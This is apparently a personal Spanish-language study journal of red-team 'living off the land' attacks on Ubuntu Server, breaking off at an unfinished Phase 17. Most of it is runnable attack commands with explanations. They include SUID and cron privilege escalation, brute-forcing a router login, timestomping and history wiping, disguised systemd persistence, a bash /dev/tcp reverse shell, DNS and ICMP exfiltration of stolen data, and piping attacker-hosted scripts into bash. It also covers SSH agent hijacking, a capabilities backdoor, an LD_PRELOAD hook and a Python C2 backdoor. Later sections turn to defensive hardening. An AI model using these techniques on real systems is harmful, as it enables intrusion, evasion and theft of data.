LOTL - Ubuntu Server

Diario de Aprendizaje: Red Team Ops en Ubuntu Server

Sammi (SysAdmin & Redes)

Operaciones ofensivas “Living off the Land”

Referencia: RTFM - Red Team Field Manual v2

Fase 1: Enumeración de Privilegios y SUID

Objetivo: Identificar vectores de escalada de privilegios locales.

1. Búsqueda de Binarios SUID

El bit SUID permite ejecutar un archivo con los permisos de su propietario (root).

Comando (RTFM p. 101):**

find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null

Explicación: Busca desde la raíz /, archivos con bit 4000 (SUID), propiedad de root, y lista los detalles ocultando errores.

2. Explotación (Caso Python)

Si python tiene SUID, permite escapar a una shell de root.

Payload:

/usr/bin/python3 -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

Nota: El flag -p es crítico en Bash/Dash modernos para no perder privilegios.

Fase 2: Networking Ofensivo (Living off the Land)

Objetivo: Mapear la red sin nmap.

1. Ping Sweep (Bash Scripting)

Escaneo de hosts activos usando bucles nativos.

Script (Adaptado de RTFM p. 106):

for x in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$x | grep “bytes from” | cut -d ” ” -f 4 | cut -d ”:” -f 1 >> ips.txt; done

Optimización: Se añadió -W 1 para timeout rápido y limpieza de salida con cut.

2. Escaneo de Puertos con Netcat

Usar nc como escáner de puertos TCP.

Comando (RTFM p. 167):

nc -v -n -z -w 1 <IP_VICTIMA> 20-100

Flags: -v (verbose), -n (sin DNS), -z (solo handshake, sin datos), -w 1 (wait 1s).

Fase 3: Web Recon & Explotación Manual

Objetivo: Comprometer panel de administración del Router (ZTE).

1. Banner Grabbing

Identificar versión del servidor web.

Comando (RTFM p. 152):

curl -I http://<IP_OBJETIVO>

Resultado: ZTE web server 1.0 (Obsoleto/2015).

2. Generación de Payloads (Python)

Script para codificar credenciales en Base64 para fuerza bruta (RTFM p. 187).

Script encoder.py: Genera YWRtaW46YWRtaW4= (admin:admin).

3. Explotación de Login (Form Based)

El router usaba autenticación por formulario (POST), no Basic Auth.

Reconocimiento de campos:

curl -s http://<IP> | grep -i “<input”

Campos hallados: Frm_username, Frm_password.

Ataque Manual (Curl POST):

curl -s -d “Frm_username=admin&Frm_password=admin” http://<IP> > respuesta.html

Verificación de Éxito:

grep -i “logout” respuesta.html

Evidencia: La presencia de código de “logout” confirma el acceso exitoso.

Módulo Extra: Anti-Forense y Persistencia

touch -r /etc/passwd /tmp/malware.txt

1. Inmutabilidad de Archivos

Hacer un archivo imborrable incluso para root.

Comando (RTFM p. 101)

sudo chattr +i /tmp/malware.txt

Revertir: chattr -i.

2. Limpieza de Huellas

Borrar el historial de comandos de la sesión actual.

Comando (RTFM p. 110-111):

history -c

Diario de Aprendizaje: Red Team Ops en Ubuntu Server (Parte 2)

Sammi

Enfoque:Persistencia Avanzada y Evasión de Red (Tunneling).

Fase 4: Persistencia “Invisible” (Systemd)

**Objetivo:** Crear un servicio que reviva automáticamente y ejecute código malicioso (Beacon) al inicio, camuflado como servicio de red.

1. Creación del Payload (Script)

Creamos un script en `/usr/local/bin/` que simula una tarea de mantenimiento.

* **Script:** `kernel_update_check.sh`

* **Código:** Bucle `while true` que escribe en `/tmp/.system_kernel_log`.

2. Troubleshooting: El error del “Shebang” (^M)

Al copiar el script desde Windows/Tablet, se introdujeron caracteres de retorno de carro (`\r`) invisibles que rompían la ejecución (`/bin/bash^M: bad interpreter`).

* **Solución (Living off the Land):** Usar `sed` para limpiar el archivo sin instalar `dos2unix`.

sudo sed -i ‘s/\r//’ /usr/local/bin/kernel_update_check.sh

3. Creación del Servicio (Persistence)

Configuración de un archivo .service en /etc/systemd/system/ que asegura que el script corra siempre.

[Unit]

Description=Network Optimization Monitor (Fake)

[Service]

ExecStart=/usr/local/bin/kernel_update_check.sh

Restart=always

User=root

[Install]

WantedBy=multi-user.target

• Técnica: Restart=always en la configuración del servicio.

*Comandos:*
sudo systemctl enable network-opt-monitor.service

sudo systemctl start network-opt-monitor.service

Fase 5: Movimiento Lateral y Túneles (SSH Pivoting)

Objetivo: Acceder a un servicio interno (Localhost Only) desde fuera, evadiendo el firewall mediante un túnel cifrado.

1. Simulación del “Servicio Secreto”

Como netcat en Ubuntu (versión OpenBSD) no soporta la flag -e para ejecutar comandos, usamos Python para levantar un servidor web interno.

*Comando:*
python3 -m http.server 8080 —bind 127.0.0.1 &

• Efecto: El servicio solo escucha peticiones locales. Es invisible desde la red externa.

2. Construcción del Túnel (Port Forwarding)

Usamos SSH para redirigir un puerto local (9090) hacia el servicio oculto (8080), atravesando el puerto SSH no estándar (2222).

*Comando:*
ssh -p 2222 -L 9090:127.0.0.1:8080 sammi@127.0.0.1 -N -f

• -p 2222: Puerto SSH custom (Hardening previo).

• -L 9090:127.0.0.1:8080: Mapeo de puertos (Local → Túnel → Destino).

• -N -f: Background (sin shell interactiva).

3. Validación

Acceso al servicio oculto a través del puerto redirigido.

• Prueba: curl 127.0.0.1:9090 o nc 127.0.0.1 9090.

• Resultado: Se obtiene el listado de directorios HTML del servidor Python, confirmando que el túnel ha atravesado las restricciones de red.

Fase 6: Análisis Forense “Grep”

Objetivo: Encontrar credenciales olvidadas en el sistema.

1. Búsqueda en Historiales

cat /home/*/.bash_history | grep -i “password”

• Hallazgo: Credenciales del router (admin) en texto plano dejadas por nosotros mismos al usar curl.

2. Búsqueda en Configuración

grep -rE “password|apikey” /etc/ 2>/dev/null | grep -v “false”

• Hallazgo: Archivo iscsid.conf revela dónde se guardan claves iSCSI.

Fase 7: La Reverse Shell (Bypass Firewall)

Objetivo: Control remoto total evadiendo bloqueo de entrada.

1. El Ataque (Bash Nativo)

El servidor conecta hacia el atacante usando /dev/tcp.

bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1

2. El Resultado

Bypass exitoso de firewall. Shell interactiva sammi@server recibida en la máquina atacante.

1. El Francotirador de Red (Ping Sweep)

Este comando parece complejo porque mezcla programación (bucles) con red.

for x in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$x | grep “bytes from”; done

• for x in …; do …; done: Es la estructura del bucle. Le dice al sistema: “Para cada número que encuentres aquí, repite lo siguiente”.

• $(seq 1 254): Genera una secuencia de números del 1 al 254. La x va tomando el valor de cada uno (1, 2, 3…).

• ping: El comando base.

  • -c 1 (Count): ¡Crucial! Envía solo 1 paquete. Si no pones esto, el ping es infinito y el bucle nunca avanza al siguiente número.

  • -W 1 (Wait): Tiempo de espera (Timeout). Si en 1 segundo no responde, asume que está apagado y sigue. Sin esto, esperarías 10 segundos por cada IP muerta.

• 192.168.1.$x: Aquí es donde la variable entra en juego. Bash cambia $x por el número actual (ej. 192.168.1.55).

• | (Pipe/Tubería): Agarra el resultado del comando anterior y pásaselo al siguiente.

• grep “bytes from”: Filtra. Solo muestra las líneas que digan “bytes from” (que significa que respondió). Si falla, ping da otro mensaje, y grep lo oculta.

2. El Escáner Silencioso (Netcat)

Netcat es la navaja suiza. Sus banderas (flags) cambian totalmente su comportamiento.

nc -v -n -z -w 1 192.168.1.1 20-100

• nc: El programa.

• -v (Verbose): “Hablador”. Por defecto, nc es mudo. Si conecta, no te dice nada. Con -v, te dice “Connection Succeeded”.

• -n (No DNS): “No busques nombres”. Le prohíbe intentar averiguar si la IP 192.168.1.1 tiene un nombre web (como https://www.google.com/search?q=google.com). Esto hace que el escaneo sea inmediato en lugar de lento.

• -z (Zero-I/O): “Modo Escaneo”. Le dice: “Solo toca la puerta para ver si abre, pero no entres ni esperes datos”. Sin esto, nc se conectaría y se quedaría esperando a que tú escribas algo.

• -w 1 (Wait): Igual que en ping. Si el puerto no responde en 1 segundo, pasa al siguiente.

• 20-100: El rango de puertos.

3. El Túnel Mágico (SSH Pivoting)

Este es el que más confunde porque tiene muchas partes.

comando:: ssh -p 2222 -L 9090:127.0.0.1:8080 sammi@127.0.0.1 -N -f

• ssh: El programa.

• -p 2222: Puerto de destino. Como cambiaste el puerto por defecto (22) por seguridad, hay que especificarlo.

• -L (Local Forwarding): Aquí ocurre la magia. La sintaxis es PuertoLocal:IPObjetivo:PuertoObjetivo.

  • “Coge mi puerto 9090 (Local)”.

  • “Y todo lo que entre ahí, mándalo a la 127.0.0.1 (Objetivo desde la perspectiva del servidor)”.

  • “Al puerto 8080”.

• -N (No command): “No me des una terminal”. Solo quiero el túnel, no quiero escribir comandos.

• -f (Fork/Background): “Vete al fondo”. Una vez pongas la contraseña, devuélveme el control de la terminal y quédate corriendo atrás.

4. La Reverse Shell (Bash Nativo)

Este es “magia negra” de Linux. No es un programa, es manipulación de archivos.

bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

• bash -i: Inicia una nueva terminal de Bash en modo interactivo (que espera órdenes).

• >&: Redirige ambas salidas: lo que ves normal (Stdout) y los errores (Stderr).

• /dev/tcp/IP/PUERTO: Esto no es un archivo real en el disco. Es una función especial de Bash. Si escribes ahí, Bash intenta abrir una conexión TCP a esa IP y Puerto.

• 0>&1:

  • 0 es la Entrada (Tu teclado).

  • 1 es la Salida (La conexión establecida antes).

  • Significa: “Lo que venga por la conexión (lo que escriba el hacker), mételo como si fuera teclado (entrada)”.

Traducción: “Arranca una terminal, manda todo lo que salga por la pantalla a través de la red hacia el hacker, y todo lo que venga de la red, ejecútalo como si lo escribieran en el teclado”.

5. Los Filtros (Grep y Cut)

Usados para limpiar la basura y dejar solo lo importante.

Grep:

• grep -i: Ignore case. Da igual mayúsculas o minúsculas (busca “Pass” y “pass”).

• grep -v: Invertir. “Muéstrame todo lo que NO tenga esta palabra”. (Útil para quitar falsos positivos).

• grep -r: Recursivo. Busca en esta carpeta y en todas las subcarpetas.

• grep -E: Extendido. Permite usar | para buscar varias cosas a la vez (“password|secret|key”).

Cut: cut -d ” ” -f 4

• -d ” ” (Delimiter): “Usa el espacio como tijera”. Corta la frase cada vez que veas un espacio.

• -f 4 (Field): “Dame el cuarto trozo”.

  • Ejemplo: 64 bytes from 192.168.1.1

  • Trozo 1: 64 | Trozo 2: bytes | Trozo 3: from | Trozo 4: 192.168.1.1 → ¡Bingo!

Fase 8: Escalada de Privilegios (PrivEsc)

Objetivo:Elevar privilegios de un usuario estándar (`analista`) a `root` explotando malas configuraciones.

1. Enumeración Básica

Comando:`sudo -l`

Objetivo: Ver si el usuario puede ejecutar comandos como root sin contraseña (ej. `(ALL) NOPASSWD: ALL`).

Comando:`find / -perm -u=s -type f 2>/dev/null`

Objetivo: Buscar binarios con bit SUID (se ejecutan como su dueño).

2. Explotación de SUID (Caso Python)

Si `python` tiene SUID, permite escalar privilegios trivialmente.

Payload (GTFOBins):**

/usr/bin/python3 -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)‘

3. Explotación de Cron Jobs

Si una tarea programada (Cron) se ejecuta como root pero el archivo del script es modificable por usuarios normales (World Writable - 777).

• Ataque: Reemplazar el contenido del script legítimo por un payload que cree una SUID Shell.

*Payload:* Bash
echo ‘cp /bin/bash /tmp/bash_root; chmod +s /tmp/bash_root’ > /path/to/script.sh

• Ejecución: Esperar al minuto siguiente y ejecutar /tmp/bash_root -p.

Fase 9: Exfiltración de Datos (Data Exfil)

Objetivo: Sacar información robada usando protocolos permitidos (DNS/ICMP).

1. Preparación (Encoding)

Como no podemos enviar espacios o símbolos raros, pasamos a Hexadecimal.

BOTIN=$(cat secreto.txt | xxd -p)

2. Vía DNS (Puerto 53 UDP)

El firewall cree que estamos resolviendo un dominio.

dig +short $BOTIN.google.com

3. Vía ICMP (Ping)

Ocultar datos en el relleno del paquete Ping.

ping -c 1 -p $BOTIN <TU_IP>

4. Decodificación (En el atacante)

Recuperar el texto plano desde el Hexadecimal recibido.

echo “CADENA_HEX_RECIBIDA” | xxd -r -p

Manipulación de Texto (AWK)

Objetivo: Extraer información precisa de logs sin abrir el archivo.

1. Extracción de Columnas

`awk` separa el texto por espacios por defecto.

Comando: `awk ‘{print $1}’ server.log`

Explicación: Imprime solo la primera columna (IPs).

2. Filtrado por Condición

Imprimir columnas solo si se cumple un requisito en otra columna.

Comando: `awk ‘$9 == “404” {print $1, $7}’ server.log`

Explicación: Si la columna 9 (Código estado) es 404, muestra IP ($1) y Ruta ($7).

3. Análisis de Frecuencia (Top Hits)

Contar cuántas veces se repite un dato (ideal para detectar IPs atacantes).

Comando: `awk ‘{print $1}’ server.log | sort | uniq -c | sort -nr`

Desglose

`sort`: Ordena para que `uniq` funcione.

`uniq -c`: Cuenta repeticiones.

`sort -nr`: Ordena numéricamente de mayor a menor.

A.2: Edición de Flujos (SED)

Objetivo: Modificar o borrar contenido de archivos automáticamente sin abrir un editor de texto.

1. Buscar y Reemplazar (Sustitución)

Cambiar texto en todo el archivo.

Sintaxis:`sed ‘s/VIEJO/NUEVO/g’ archivo`

Ejemplo:`sed -i ‘s/192.168.1.10/HACKER/g’ server.log`

Nota: `-i` guarda los cambios en el archivo (In-place). Sin él, solo muestra el resultado en pantalla.

2. Borrado de Líneas por Patrón

Eliminar líneas enteras que contengan una palabra clave.

Comando:`sed -i ‘/login.php/d’ server.log`

Explicación: Busca líneas con “login.php” y ejecuta `d` (Delete).

3. Borrado por Número de Línea

Eliminar una línea específica (ej. línea 5).

Comando:`sed -i ‘5d’ server.log`

Automatización y Entorno (.bashrc)

Objetivo: Crear atajos (aliases) para comandos complejos y entender la persistencia en configuración de usuario.

1. Creación de Alias

El archivo `~/.bashrc` se carga al inicio de cada sesión.

Comando manual:** `nano ~/.bashrc` → Añadir `alias nombre=‘comando’`

Comando rápido:** `echo “alias nombre=‘comando’” >> ~/.bashrc`

Importante:** Ejecutar `source ~/.bashrc` para aplicar cambios sin reiniciar.

2. Alias de Análisis Forense (“Cazador”)

Automatizar el filtrado de logs con AWK.

Alias: `alias cazador=“awk ‘{print \$1}’ server.log | sort | uniq -c | sort -nr”`

Uso: Escribir `cazador` en la terminal muestra el top de IPs del log.

3. Persistencia/Backdoor (Teoría)

Los atacantes pueden crear alias maliciosos para comandos comunes (`sudo`, `ls`) en el `.bashrc` de la víctima para interceptar contraseñas o ejecutar malware cada vez que el usuario trabaja.

Detección: `grep “alias” ~/.bashrc`

Ejecución Fileless (Staged Payload)

Objetivo: Ejecutar scripts remotos directamente en memoria sin escribirlos en el disco

1. El Concepto (Pipe to Bash)

Usar tuberías para conectar la descarga de internet con el intérprete de comandos.

2. Comando Wget

wget -qO - http://ATACANTE/malware.sh | bash

curl -s http://ATACANTE/malware.sh | bash

1. Crear el payload (por si acaso)

echo ‘echo “HOLA DESDE LA RAM”’ > payload.sh

2. Lanzar el servidor en segundo plano (con el & al final)

python3 -m http.server 8000 &

3. Disparar el ataque (sin la -q para ver si conecta)

wget -O - http://127.0.0.1:8000/payload.sh | bash

Resumen de tu Entrenamiento Avanzado (CLI Pura)

Has añadido a tu cinturón de herramientas habilidades que muchos “hackers” de herramientas gráficas no tienen:

1. Cirujano de Texto (awk / sed): Sabes extraer información y modificar logs masivos sin abrir editores de texto.

2. Automatización (.bashrc / alias): Has convertido tu terminal en un arma personalizada con tus propios comandos (cazador, pyserver).

3. Ejecución en Memoria (Pipes): Sabes inyectar código remoto directamente en la RAM para evadir antivirus y forenses.

Fase 10 - Técnicas “Beast Mode” (CLI & LOTL)

1. Anti-Forense: Timestomping (Manipulación de Tiempo)

Objetivo: Ocultar malware o herramientas de hacking engañando a los analistas forenses. Se copian los metadatos de tiempo de un archivo legítimo y antiguo al archivo malicioso para que parezca que lleva años en el sistema.

Procedimiento

touch -r /etc/passwd malware.sh

Desglose de Flags y Comandos

• touch: Herramienta estándar para cambiar marcas de tiempo de archivos.

• -r <archivo_referencia> (Reference): La clave de la técnica. Le dice a touch que no use la hora actual, sino que extraiga la fecha de acceso y modificación del archivo indicado (ej. /etc/passwd) y se la aplique al objetivo.

• Resultado: Si haces ls -l malware.sh, verás una fecha antigua (ej. 2022), haciéndolo invisible a búsquedas como find / -mtime -1 (buscar modificados en las últimas 24h).

2. Movimiento Lateral: SSH Agent Hijacking (Secuestro de Sesión)

Objetivo: Pivotar a otros servidores utilizando las credenciales de un administrador conectado, sin conocer su contraseña ni robar su clave privada del disco.

Procedimiento Paso a Paso

*Localizar el Socket (Como Root):*
find /tmp/ -type s -name “agent.*” 2>/dev/null

• -type s: Filtra la búsqueda para mostrar solo archivos de tipo Socket.

• -name “agent.*”: Busca archivos que sigan el patrón de nomenclatura del agente SSH.

• 2>/dev/null: Redirige los errores (stderr) al vacío para limpiar la salida en pantalla.

*Secuestrar la Sesión (Hooking):*
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.12345

• export: Define una variable de entorno global para la sesión actual.

• SSH_AUTH_SOCK: La variable que indica al cliente SSH dónde buscar las llaves en memoria.

*Verificar el Botín:*
ssh-add -l

• -l (List): Muestra las huellas digitales de las identidades cargadas en el socket secuestrado. Si ves una línea SHA256, ¡tienes la llave!

*Ataque (Salto Lateral):*
ssh -o StrictHostKeyChecking=no usuario@objetivo

• -o StrictHostKeyChecking=no: Flag crítica para automatización. Evita que SSH pregunte “Are you sure you want to connect?” (yes/no), permitiendo la conexión directa y silenciosa.

Resolución de Problemas (Troubleshooting Real)

Casos reales encontrados durante el laboratorio:

• Error: “The agent has no identities” al hacer ssh-add -l.

  • Causa: El túnel funciona, pero la víctima tiene la “cartera vacía”. Se conectó con ssh -A pero no cargó sus llaves antes.

  • Solución: La víctima debe ejecutar ssh-add ~/.ssh/id_rsa en su máquina local ANTES de conectarse al servidor.

• Error: “No such file or directory” al exportar el socket.

  • Causa 1 (Typo): Error al copiar la ruta (ej. faltaba una letra “E” en el nombre aleatorio del socket).

  • Causa 2 (Time-out): La víctima cerró la conexión. El socket es un archivo temporal; si la sesión muere, el archivo desaparece instantáneamente.

  • Solución: Verificar siempre la existencia del archivo con ls -l <ruta_socket> antes de hacer el export.

3. Persistencia/Escalada: Linux Capabilities (Python Backdoor) ⚡

Objetivo: Crear una puerta trasera permanente y sigilosa que permita a cualquier usuario convertirse en root, evitando la detección de búsquedas SUID tradicionales.

Procedimiento

*Crear el Binario Discreto:*
cp /usr/bin/python3 /home/sammi/py3

• Usamos una copia (cp) en lugar de un enlace simbólico para que las capacidades se apliquen solo a nuestro archivo y no al Python del sistema (lo cual sería peligroso y ruidoso).

Otorgar Superpoderes (Setcap):

comando:: sudo setcap cap_setuid+ep /home/sammi/py3

1. • cap_setuid: La capacidad específica que permite a un proceso cambiar su User ID (UID) arbitrariamente.

   • +ep: Activa los flags Effective (el poder está activo) y Permitted (el proceso tiene permiso para usarlo).

*Verificación (Invisibilidad):*
getcap /home/sammi/py3

• Nota: Un ls -l normal NO mostrará nada sospechoso (no hay bit SUID rojo). Solo getcap revela el secreto.

*Ejecución (El Hechizo):*
/home/sammi/py3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’

• -c: Ejecuta el código Python pasado como cadena de texto.

• os.setuid(0): Solicita al kernel cambiar el UID actual a 0 (Root). Gracias a la Capability, el kernel acepta.

• os.system(“/bin/bash”): Lanza una nueva shell que hereda el UID 0, otorgando control total.

Técnica Extra: Hooking de Librerías (LD_PRELOAD)

Referencia: GUIA_COMPLETA_LOTL_UBUNTU_SERVER.pdf (Sección de Evasión y Rootkits).

Objetivo: Interceptar llamadas al sistema (Syscalls) cargando una librería maliciosa antes que las librerías estándar. Permite falsear respuestas del sistema (ej. engañar a whoami para que diga que somos root).

1. Creación del Payload (C) Creamos un archivo evil.c que sobrescribe la función geteuid (usada por whoami).

include <stdio.h>

include <unistd.h>

include <sys/types.h>

uid_t geteuid(void) {

printf(“⚠️ [HOOK] geteuid() interceptado → Soy ROOT\n”);

return 0; // Fingimos ser ID 0 (Root)

}

2. Compilación como Librería Compartida

gcc -fPIC -shared -o evil.so evil.c -ldl -w

Flags Críticas:

• -fPIC: Position Independent Code (Obligatorio para librerías dinámicas).

• -shared: Crea un objeto compartido (.so) en lugar de un ejecutable.

• -ldl: Enlaza con la librería de carga dinámica.

3. Ejecución / Inyección

LD_PRELOAD=$PWD/evil.so whoami

Resultado: El sistema carga nuestra librería primero. whoami llama a geteuid, nuestra función responde “0” (Root), y el binario legítimo es engañado.

Referencias Cruzadas (Documentación LOTL Ubuntu)

Para profundizar en la teoría de estos ataques, consultar los siguientes manuales del curso:

Fase 1 (SUID) y Fase 8 (PrivEsc):

• Manual: lotl_ubuntu_parte1_reconocimiento_escalada.pdf

• Sección: 1.6 Escalada de Privilegios vía SUID.

Fase 4 (Persistencia Systemd):

• Manual: lotl_ubuntu_parte2_persistencia_movimiento_c2.pdf

• Sección: Persistencia y Servicios Maliciosos.

Fase 5 (SSH Pivoting) y Fase 10 (SSH Hijacking):

• Manual: lotl_ubuntu_parte2_persistencia_movimiento_c2.pdf

• Sección: Movimiento Lateral y SSH Agent Hijacking.

Fase 9 (Exfiltración) y Timestomping:

• Manual: lotl_ubuntu_parte3_exfiltracion_credenciales_evasion.pdf

• Sección: Evasión de Defensas y Exfiltración de Datos.

Fase 10 (Capabilities y LD_PRELOAD):

• Manual: GUIA_COMPLETA_LOTL_UBUNTU_SERVER.pdf

• Sección: Evasión Avanzada y Rootkits (Dynamic Linker Hijacking).

Fase 11: Seguridad Corporativa (Banca/CIB)

1. Gestión de Jobs (Batch/At)

Riesgo: Ejecución de tareas maliciosas diferidas (Aperiódicas) o inyección en procesos batch nocturnos.

Control: Restringir acceso mediante listas blancas.

Archivos Clave: `/etc/at.allow` y `/etc/at.deny`.

Comando de Auditoría: `atq` (lista cola de trabajos), `at -c <job_id>` (ve el contenido del trabajo).

2. Protección de Datos CIB (Process Snooping)

Riesgo: Exposición de contraseñas de BD en la lista de procesos (`ps aux`).

Mitigación: Nunca pasar claves como argumentos CLI.

Detección LOTL:`ps auxww | grep -i “pass”` (Busca procesos con argumentos sospechosos).

3. Arquitectura Segura (WebSEAL/Proxy)

Concepto:** WebSEAL es el punto de entrada único (IAM/Auth).

Defensa en Ubuntu:

Reglas de Firewall: Aceptar tráfico SOLO de la IP de WebSEAL.

Logs:** Los logs de Apache/Nginx mostrarán la IP del Proxy. Configurar `X-Forwarded-For` para ver la IP real del cliente.

Fase 12: Arquitectura Empresarial (Banca/CIB)

1. Sustituto de Cron: Systemd Timers

Por qué: Cron es básico. En empresa usamos Systemd Timers por su control de dependencias, precisión y logs integrados en `journalctl`.

Archivos: Requiere dos archivos: `.service` (la acción) y `.timer` (la programación).

Comando Clave: `systemctl list-timers` (Ver programación y próxima ejecución).

2. Gestión de Recursos (QoS)

Problema:Procesos batch nocturnos afectando el rendimiento online.

Solución (CPU): Usar `nice` (al lanzar) o `renice` (en ejecución) con valor 19 para darles mínima prioridad.

Solución (Disco/DB): Usar `ionice` para que no saturen la lectura/escritura en disco.

3. Alta Disponibilidad (Conceptos)

Cluster: Grupo de servidores que trabajan juntos.

Balanceador: Distribuye el tráfico. Si un nodo sube su carga (Load Average > 5), el balanceador deja de enviarle tráfico hasta que se recupera.

4. Gestión de Crisis en Clusters (CPU QoS)

Escenario: Un proceso batch o un pico de tráfico satura la CPU, elevando el `Load Average`. El Balanceador (WebSEAL/F5) detecta la latencia y expulsa al nodo del cluster.

Herramientas de Control:

Simulación: `stress —cpu <cores>` para pruebas de carga.

Monitorización: `htop` o `uptime` para ver el *Load Average* (Cola de procesos esperando CPU).

Solución (Renice): Cambiar la prioridad en tiempo real.

* `renice -n 19 -p <PID>`: Prioridad mínima (Background).

* `renice -n -20 -p <PID>`: Prioridad máxima (Real-Time, ¡peligroso!).

Estrategia CIB: Los procesos de cierre/backup deben lanzarse siempre con `nice -n 19` para que nunca compitan con las transacciones de clientes.

La Lógica de tu Aplicación

Tu aplicación (digamos, una app en Python o Java) en lugar de mostrar un login, hace esto:

# Pseudocódigo de lo que corre en tu Ubuntu

def procesar_peticion(request):

# 1. Leer la cabecera que puso WebSEAL

usuario = request.headers.get(‘iv-user’)

# 2. ¿Viene vacía? → ERROR DE SEGURIDAD

if not usuario:

return “Acceso Denegado: No vienes de WebSEAL”

# 3. ¡Confianza ciega!

# Como WebSEAL dice que eres ‘sammi’, yo te muestro los datos de Sammi.

iniciar_sesion_automatica(usuario)

Muralla de Fuego (UFW): Tal y como vimos, tu Ubuntu debe rechazar a todo el mundo excepto a la IP de WebSEAL.

sudo ufw allow from <IP_WEBSEAL> to any port 443

sudo ufw default deny incoming

Validación de Confianza (Mutual TLS - mTLS): En banca, a veces la IP no basta (IP Spoofing). Se usa certificados.

• WebSEAL presenta un certificado cliente.

• Tu Ubuntu (Nginx/Apache) verifica que el certificado está firmado por el Banco.

• Si no hay certificado válido, corta la conexión antes de leer nada.

Fase 13: Autenticación Delegada (WebSEAL/Proxy)

El Mecanismo “Backend”

En entornos bancarios, el servidor Ubuntu **no autentica** (no pide password ni MFA). Delega esa función al Reverse Proxy (WebSEAL).

1. Frontend (WebSEAL): Gestiona credenciales, LDAP y MFA (SMS/Token).

2. Transporte: Si el login es exitoso, WebSEAL inyecta cabeceras HTTP (`iv-user`, `iv-groups`) en la petición hacia el backend.

3. Backend (Ubuntu): Lee la cabecera `iv-user` y asume la identidad del usuario automáticamente (Single Sign-On).

Riesgo Crítico: Header Spoofing

Si un atacante llega directo al Ubuntu (Bypass de Proxy), puede inyectar `iv-user: admin` y suplantar identidad.

Defensa LOTL

Restricción de Red: `ufw` debe permitir tráfico SOLO desde la IP del WebSEAL.

Auditoría: Revisar logs de acceso (`/var/log/apache2/access.log` o `journalctl`) para asegurar que todas las peticiones vienen de la IP del Proxy.

Fase 14: Exfiltración Avanzada (ICMP Tunneling)

Concepto

En redes de alta seguridad donde TCP/UDP están bloqueados hacia el exterior, el protocolo ICMP (usado para diagnóstico `ping`) suele estar permitido. Esta técnica oculta datos confidenciales dentro de la sección de “relleno” (payload) de los paquetes ECHO REQUEST.

Procedimiento

1. Lado Atacante (Listener):

Monitorizar el tráfico decodificando el contenido ASCII/Hex.

sudo tcpdump -i any -v -X icmp

* `-X`: Muestra el payload en Hexadecimal y ASCII (vital para ver la data exfiltrada).

2. Lado Víctima (Payload):

Convertir el secreto a Hexadecimal (ya que `ping` espera bytes raw).

Ejemplo: “BD01” → `42443031`

3. Ejecución (Exfiltración):

ping -c 1 -p 42443031 <IP_ATACANTE>

* `-p <patrón>`: Flag clave. Rellena los bytes sobrantes del paquete ICMP con el patrón hexadecimal indicado.

* `-c 1`: Envío único (sigilo). Evita generar un flujo constante de tráfico que dispare alertas de anomalía en el firewall.

Limitaciones

* La flag `-p` tiene un límite de tamaño (generalmente 16 bytes de patrón que se repiten). Para archivos grandes, se requiere scripting que fragmente el archivo y lo envíe paquete a paquete.

Módulo: Python Ofensivo y Persistencia (LOTL)

Fase 15: Armamento Nativo (Python Port Scanner)

Objetivo: Crear una herramienta de reconocimiento de red (escáner de puertos) utilizando únicamente el intérprete de Python 3 preinstalado en Ubuntu, para operar en entornos donde nmap o netcat han sido eliminados.

1. El Código (Escáner de Lista)

Script para verificar puertos específicos (21, 22, 80, 2222) en un objetivo.

#!/usr/bin/env python3

import socket

import sys

from datetime import datetime

# Configuración

objetivo = “127.0.0.1”

puertos = [21, 22, 80, 443, 2222] # Lista específica, no rango

print(f”Escaneando {objetivo}…”)

try:

for puerto in puertos:

# AF_INET = IPv4 | SOCK_STREAM = TCP

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(0.5) # Timeout rápido

# connect_ex devuelve 0 si hay éxito, error si falla

resultado = s.connect_ex((objetivo, puerto))

if resultado == 0:

print(f”[+] Puerto {puerto}: ABIERTO”)

s.close()

except KeyboardInterrupt:

sys.exit()

Desglose Técnico y Lógica

• import socket: Librería nativa de bajo nivel para interfaces de red. Sustituye a herramientas binarias externas.

• socket.AF_INET: Indica que usaremos direcciones IPv4.

• socket.SOCK_STREAM: Indica protocolo TCP (el usado para conexión fiable).

• s.connect_ex(…): A diferencia de connect() (que lanza una alerta/error si falla), esta función devuelve un número entero. 0 significa éxito. Esto permite al script seguir corriendo sin detenerse por puertos cerrados.

• Lista […] vs Rango range(): Usar una lista [22, 80] es más eficiente (“ruidoso” pero rápido) que barrer un rango de 1 a 65535, lo cual es lento en Python puro.

Fase 16: Infraestructura C2 (Cliente-Servidor Python)

Objetivo: Establecer un canal de mando y control (C2) básico. Creamos un “Listener” (Servidor) que espera conexiones y un “Payload” (Cliente) que se conecta a él, simulando una comunicación de malware o administración remota sin usar SSH.

1. El Servidor (Listener / Oyente)

El script que espera la conexión (“El que abre la tienda”).

# Fragmento clave del Listener

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((“0.0.0.0”, 4444)) # Asocia el puerto 4444 a todas las interfaces

s.listen(1) # Pone el socket en modo “escucha”

cliente, addr = s.accept() # ¡BLOQUEANTE! Se congela aquí hasta recibir visita

print(f”Conexión de: {addr}“)

2. El Cliente (Reverse Shell / Backdoor)

El script que ejecuta la víctima para llamar a casa.

# Fragmento clave del Backdoor

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((“127.0.0.1”, 4444)) # Llama al atacante

s.send(b”Hola Jefe”) # Envía datos en BYTES (b”…”)

Desglose Técnico y Flags

• bind() vs connect():

  • Bind (Servidor): Reserva un puerto en la máquina local.

  • Connect (Cliente): Busca un puerto abierto en una máquina remota.

• 0.0.0.0: Dirección comodín (Wildcard). Indica al servidor que acepte tráfico por cualquier tarjeta de red (Ethernet, Wi-Fi, VPN, Localhost).

• Bytes b’…’: Python 3 trata los datos de red como crudos (bytes), no como texto (string). Es necesario usar .encode() para enviar y .decode() para leer texto humano.

Fase 17: Persistencia en Shell (Intento Fallido)

Estado: Fallido / En Investigación. Objetivo: Lograr que el sistema registre (log) automáticamente la IP de cualquier usuario que se conecte por SSH, inyectando código en el inicio de sesión global.

Procedimiento Realizado

